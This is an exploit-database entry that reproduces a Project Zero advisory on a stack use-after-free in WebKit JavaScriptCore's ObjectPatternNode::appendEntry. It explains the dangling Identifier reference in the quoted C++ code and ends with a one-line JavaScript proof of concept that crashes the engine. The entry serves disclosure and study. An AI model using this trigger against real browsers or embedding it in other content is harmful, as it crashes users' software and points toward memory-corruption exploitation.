WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free

Author: Google Security Research
type: dos
platform: multiple
port: 
date_added: 2017-07-25 
date_updated: 2017-07-25 
verified: 1 
codes:  
tags: Use After Free (UAF)
aliases:  
screenshot_url:  
application_url: 

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256

Here's a snippet of ObjectPatternNode::appendEntry.

void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
{
    m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
}

Here's the definition of Entry.

struct Entry {
    const Identifier& propertyName;
    ExpressionNode* propertyExpression;
    bool wasString;
    DestructuringPatternNode* pattern;
    ExpressionNode* defaultValue;
    BindingType bindingType;
};

The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.

PoC:

var {[a]: b, ...[]} = {};